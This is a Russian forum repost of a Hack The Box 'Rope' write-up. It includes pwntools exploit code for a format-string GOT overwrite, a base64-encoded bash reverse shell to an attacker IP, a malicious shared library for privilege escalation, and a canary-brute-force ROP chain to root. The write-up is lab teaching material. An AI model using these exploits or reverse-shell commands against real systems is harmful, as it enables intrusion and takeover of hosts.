НОВОСТИ Hack The Box. Прохождение Rope. PWN. Форматные строки и ROP используя pwntools

Bonnie
Оффлайн
Регистрация
12.04.17
Сообщения
19.095
Реакции
107
Репутация
0
clcigsntltvnbkltsfgppni4t0u.png


Продолжаю публикацию решений отправленных на дорешивание машин с площадки .

В данной статье собираем много много pwn, которые будем решать средствами pwntools. Думаю будет полезно читателям с любым уровнем осведомленности в данной теме. Поехали…

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал и в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации .

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.148, который я добавляю в /etc/hosts.


10.10.10.148 rope.htb

Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.


masscan -e tun0 -p1-65535,U:1-65535 10.10.10.148 --rate=500

xfd75kcmf_acjvyqtaprv-sc6bo.png


Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.


nmap -A rope.htb -p22,9999

sdtkc3orydw9_76o6c3gwryhlhc.png


На хосте работают службы SSH и веб-сервер. Зайдем на веб, и нас встретит форма авторизации.

-hzolzjpvg00y1l3v1y1mbnqpv8.png


При просмотре сканировании директорий, получаем не идексированную директорию / (http://rope.htb:9999//).

79jdixhqpjhqhs0rsdkqg-hpluc.png


И в директории /opt/www находим исполняемый файл — это и есть наш веб-сервер.

eyqzfjlf98744atrwnzsj3wsjsk.png


HTTPserver PWN


Скачаем его и посмотрим, какая есть защита с помощью checksec.

chxehxx1ao9zlo9pk1wbttlrif8.png


Таким образом, мы имеем 32-х битное приложение со всеми активированными защитами, а именно:
  • Бит NX (not execute) — это технология, используемая в ЦП, которая гарантирует, что некоторые области памяти (такие как стек и куча) не могут быть выполнены, а другие, такие как раздел кода, не могут быть записаны. Это мешает нам записывать шеллкод в стек и выполнять его.
  • ASLR: в основном рандомизирует базу библиотек (libc), так что мы не можем знать адрес памяти функций libc. Это мешает атакам типа ret2libc.
  • PIE: этот метод, как и ASLR, рандомизирует базовый адрес, но из самого двоичного файла. Это затрудняет нам использование гаджетов или функций исполняемого файла.
  • Canary: обычно случайное значение, генерируется при инициализации программы и вставляется в конец области, где переполняется стек. В конце функции проверяется, было ли изменено значение канареек. Мешает выполнить переполнение и перезаписать адрес.

Благодаря тому, что мы можем читать файлы на сервере, мы можем прочитать карту процесса данного исполняемого файла. Это даст нам ответ на следующие вопросы:
  1. По какому адресу загружена сама программа?
  2. И по какому адресу, загружены используемые ей библиотеки?

Давайте сделаем это.

curl "http://rope.htb:9999//proc/self/maps" -H 'Range: bytes=0-100000'

exgpv4as7ucyftbf6qpqxglysbc.png


Таким образом, мы имеем два адреса: 0x56558000 и f7ddc000. При этом мы получаем путь к используемой libc библиотеки, скачаем ее тоже. Теперь с учетом всего найденного сделаем шаблон эксплоита.

from pwn import *
import urllib
import base64

host = 'rope.htb'
port = 9999

context.arch = 'i386'
binary= ELF('./httpserver')
libc = ELF('./libc-2.27.so')
bin_base = 0x56558000
libc_base = 0xf7ddc000

А теперь откроем сам файл для анализа в удобном для вас дизассемблере (с декомпилятором). Я использую IDA с кучей плагинов, и перед тем как засесть за глубокий анализ, предпочитаю посмотреть все, что мне могу собрать проверенные плагины. Один из множества таких — . И на запрос “scan format string vuln” получим табличку с потенциально уязвимыми функциями.

ab853dd56ri3loneyejkce4snvm.png


По опыту использования данного плагина, я сразу обратил внимание на вторую строку (на ее параметр формат). Переходим на место использования данной функции и декомпилируем ее.

_7iwsgc6cxf0rrpe3ruaoyolobi.png


И догадки подтверждены, строка просто передается в функцию printf. Давайте выясним, что это за строка. Перейдем на место вызова функции log_access.

0nvr1qtnll7c_hab2jrqo-5fvdm.png


Так нас интересует третий параметр, который был помечем IDA как file. И ответы на все вопросы мы получаем только лишь посмотрев перекрестные ссылки на данную переменную.

_si978isulkh-jme2gznkjftp98.png


Таким образом, это указатель на строку — имя файла, который открывается для чтения. Так как данная переменная является результатом выполнения функции parse_request(), файл открывается для чтения, а вся программа представляет из себя веб-сервер, можно предположить, что это запрашиваемая на сервере страница.

curl

q9xm_zyx9s78gbl0j8zzuf-mdns.png


Давайте проверим уязвимость форматной строки.

curl -c 'print("AAAA"+"%25p"*100)')

cxaq731ejafj-dkjyg6kuliy1o0.png


Отлично! Давайте определим смещение (сколько спецификаторов %p нужно отправить, чтобы в конце вывода получить 0x41414141 — AAAA).

2ilmxraso--gzeo2jqfwhwdtvom.png


Получаем 53. Проверим, что все верно.

curl -c 'print("AAAA"+"%25p"*53)')

bldmmgl809qsxgxdds44phkyqqi.png


Мы не можем получить локальный шелл, но можем выполнить команду, например кинуть реверс шелл:

bash -i >& /dev/tcp/10.10.15.60/4321 0>&1

Но чтобы избежать всяких неудобных символов, закодируем его в base64, тогда вызов шелла будет выглядеть так:

echo “YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS42MC80MzIxIDA+JjEK” | base64 -d | bash -i

И в итоге заменим все пробелы на конструкцию $IFS. Получим команду, которую нужно выполнить для для получения бэкконнекта.

echo$IFS"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS42MC80MzIxIDA+JjEK"|base64$IFS-d|bash$IFS-i

Давайте допишем это в код:

offset = 53
cmd = 'bash -i >& /dev/tcp/10.10.15.60/4321 0>&1'
shell = 'echo$IFS"{}"|base64$IFS-d|bash$IFS-i'.format(base64.b64encode(cmd))

Теперь вернемся к нашей форматной строке. Так как после printf() вызывается puts, мы можем перезаписать ее адрес в GOT на адрес функции system из libc. Благодаря pwntools это очень легко сделать. Допустим, получить относительный адрес функции puts можно с помощью binary.got[‘puts’], также легко и с функцией system: libc.symbols[‘system’]. Про форматные строки и GOT подробно я описывал в статьях про pwn, поэтому здесь просто собираем форматную строку с помошью pwntools:

writes = {(elf_base + binary.got['puts']): (libc_base + libc.symbols['system'])}
format_string = fmtstr_payload(offset, writes)

Собираем итоговую полезную нагрузку:

payload = shell + " /" + urllib.quote(format_string) + "\n\n"

Подключаемся и отправляем:

p = remote(host,port)
p.send(payload)
p.close()

Полный код выглядит так.

j7tmsavnfi1jrlznbhrnylk1j2k.png


Выполним код и получим бэкконнект.

54xzkogf-qq9btyjx9frthjmb3q.png


of_vkulfppu97eeudtalu5ivxge.png


USER


Проверим настойки sudo для выполнения команд без пароля.

5qai0-4gkkxtn4o3vz9yk-pdu2o.png


И видим, что можно выполнить readlogs от имени пользователя r4j. Уязвимости в приложении отсутствуют, GTFOBins тоже отсутствуют. Давайте посмотрим используемые приложением библиотеки.

b-3i-sn8hhevvo4ger7j8gaiy7k.png



ls -l /lib/x86_64-linux-gnu/ | grep "liblog.so\|libc.so.6"

eb4errgawf8imvy0xmy_hgd-gta.png


То есть мы можем писать в данные файлы. Давайте напишем свою библиотеку.

#include
#include
#include types.h>
#include

void printlog(){
setuid(0);
setgid(0);
system("/bin/sh");
}

Теперь компилируем ее.

gcc -c -Wall -Werror -fpic liblog.c

И собираем библиотеку.

Gcc -shared -o liblog.so liblog.o

После чего загружаем файл на хост, перезаписываем библиотеку и выполняем программу.

bkn-ciaotw1id-emk87tv6anp1k.png


Таким образом, мы берем пользователя.

ROOT


Для перечисления системы используем linpeas.

9knd-k9gxwxz8hghzdwn7up8vbu.png


Так на локалхосте прослушивается 1337 порт.

dzxhgs3uf6d3jzmvdrfqpg0jsro.png


Как можно заметить, наш пользователь входит в группу adm. Давайте глянем доступные для данной группы файлы.

39jq08wmi0lzf8xb5b4hgkrwpay.png


Есть интересный файл. И это та программа, что прослушивает порт.

u4cfuptixjubaydn3so9vv8iqnu.png


При этом в приложение работает от имени root.

bnl8qnuxwllqpudd8mcuzrtchn0.png


Скачаем себе само приложение и используемую им библиотеку libc. И отметим, что на хосте активен ASLR.

yeu291nh107sotdzw9i5hxmyoww.png


Проверим какую защиту имеет приложение.

lw2q0t15j1qmapfuhy9oppeqkgg.png


Все по максимуму. То есть, если мы найдем переполнение буфера, нам нужно будет брутить канарейку(значение, которое проверяется перед выходом из функции, чтобы проверить целостность буфера), а в качестве техники эксплуатации уязвимости будем использовать ROP (о котором я уже довольно подробно писал ). Откроем программу в любом удобном для вас дизассемблере с декомпилятором (я использую IDA Pro). Декомпилируем основную функцию main.

stjxlocl4sv3gh_6j8euvybdayq.png


Примером канарейки служит переменна v10, которая устанавливается в начале функции. Посмотрим, за что отвечает функция sub_1267.

kmgiajki9-zlvdzxxfqaeqt2dn8.png


Таким образом, здесь мы открываем порт для прослушивания. Можно переименовать ее в is_listen(); идем далее. Следующая пользовательская функция sub_14EE.

hnmnbnmswumhkazbc6aysanetbc.png


Перед отправкой присутствует еще одна пользовательская функция. Смотрим ее.

2d7kfbhkjqnz8eidg8i95km_yey.png


Таким образом, в данной функции принимается строка до 0x400 байт и записывается в буфер. В комментарии к переменной buf указан адрес относительно базы текущего кадра стека (rbp) — [rbp-40h], а переменная v3 (канарейка) имеет относительный адрес [rbp-8h], таким образом, для переполнения буфера, нам потребуется больше [rbp-8h] — [rbp-40h] = 0x40-8 = 56 байт.
Таким образом план следующий:
  1. найти и переполнить буфер;
  2. сбрутить канарейку, rbp и rip;
  3. так как активирован PIE, то нужно найти действительное смещение;
  4. найти утечку памяти для вычисления адреса, по которому загружена библиотека;
  5. Собрать ROP, в котором поток стандартных дескрипторов будет перенаправлен в сетевой дескриптор программы, после чего вызвать /bin/sh через функцию system.

1.Переполнение буфера


Как можно наблюдать ниже, при передаче 56 байт программа продолжает работать нормально, но передав 57 байт — получим исключение. Таким образом нарушена целостность буфера.

kcppslliglpdyxf2v8ikppjoeqa.png


Давайте сделаем шаблон эксплоита. Так как нужно будет много перебирать и переподключаться, то отключим вывод сообщений pwntools (log_level).

#!/usr/bin/python3
from pwn import *

HOST = '127.0.0.1'
PORT = 1337
context(os = "linux", arch = "amd64", log_level='error')

pre_payload = "A" * 56

r = remote(HOST, PORT)

context.log_level='info'
r.interactive()


2.Canary, RBP, RIP


Как мы разобрались, после 56 байт буфера идет канарейка, а после нее в стеке расположены адреса RBP и RIP, которые также нужно перебрать. Давайте напишем функцию подбора 8 байт.

def qword_brute(pre_payload, item):
qword_ = b""
while len(qword_) < 8:
for b in range(256):
byte = bytes()
try:
r = remote(HOST, PORT)
print(f"{item} find: {(qword_ + byte).hex()}", end=u"\u001b[1000D")
send_ = pre_payload + qword_ + byte
r.sendafter(b"admin:", send_)
if b"Done" not in r.recvall(timeout=5):
raise EOFError
r.close()
qword_ += byte
break
except EOFError as error:
r.close()
context.log_level='info'
log.success(f"{item} found: {hex(u64(qword_))}")
context.log_level='error'
return qword_


Таким образом мы можем составить pre_payload:

pre_payload = b"A" * 56
CANARY = qword_brute(pre_payload, "CANARY")
pre_payload += CANARY
RBP = qword_brute(pre_payload, "RBP")
pre_payload += RBP
RIP = qword_brute(pre_payload, "RIP")


3.PIE


Теперь давайте разберемся с PIE. Мы нашли RIP — это адрес возврата, куда мы возвращаемся из функции. Таким образом, мы можем вычесть из него адрес возврата в коде.

tet7luif_rfxtdpgk8cw1a6wat8.png


Таким образом смещение от базы равно 0x1562. Давайте укажем реальный адрес запущенного приложения.

base_binary = u64(RIP) - 0x1562
binary = ELF('./contact')
binary.address = base_binary
libc = ELF('./libc.so.6')


4.Memory leak


В приложении для для вывода строки приглашения используется стандартная функция write(), которая принимает дескриптор для вывода, буфер и его размер. Мы можем использовать данную функцию.

Для удобства работы давайте воспользуемся модулем ROP из pwntools. Вкратце, как и почему это работает представлено на изображении ниже.

ohmdbvozmm5ve0zayx1imk5v-0a.png


Давайте получим утечку, это позволит нам узнать по какому адресу находится функция write в загруженной библиотеке libc.

rop_binary = ROP(binary)
rop_binary.write(0x4, binary.got['write'], 0x8)
send_leak = pre_payload + flat(rop_binary.build())

r = remote(HOST, PORT)
r.sendafter(b"admin:", send_leak)
leak = r.recvall().strip().ljust(8, b'\x00')
print(f"Leak: {hex(u64(leak))}")
base_libc = leak - libc.symbols['write']


5.ROP


Давайте изменим базовый адрес библиотеки libc и найдем адрес строки /bin/sh.

libc.address = base_libc
shell_address = next(libc.search(b"/bin/sh\x00"))

Осталось собрать ROP, в котором будет перенаправление стандартных дескрипторов ввода/вывода (0,1,2) в дескриптор, зарегистрированный в программе (4). После чего произойдет вызов функции system, куда мы передадим адрес строки /bin/sh.

rop_libc = ROP(libc)
rop_libc.dup2(4, 0)
rop_libc.dup2(4, 1)
rop_libc.dup2(4, 2)
rop_libc.system(shell_address)

payload = pre_payload + flat(rop_libc.build())

r = remote(HOST, PORT)
r.sendafter(b"admin:", payload)
time.sleep(2)
r.sendline(b"id")

6. Эксплуатация
Полный код эксплоита.

hmtasdfdb2vvug5doqfdkfzeho4.png


Теперь на сервере запишем ключ ssh в файл /home/r4j/.ssh/authorizef_keys.

zee27vga9_skxu2ruepdreh0hxm.png


И пробросим порт (сделаем так, чтобы соединение с локального порта 1337 перенаправлялось по SSH на порт 1337 удаленного хоста).

ssh -L 1337:127.0.0.1:1337 -i id_rsa [email protected]

И запускаем эксплоит.

mvcym58okghfhc1ngkz9oovt4-4.png


Мы работаем под рутом.

Вы можете присоединиться к нам в . Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
 
Сверху Снизу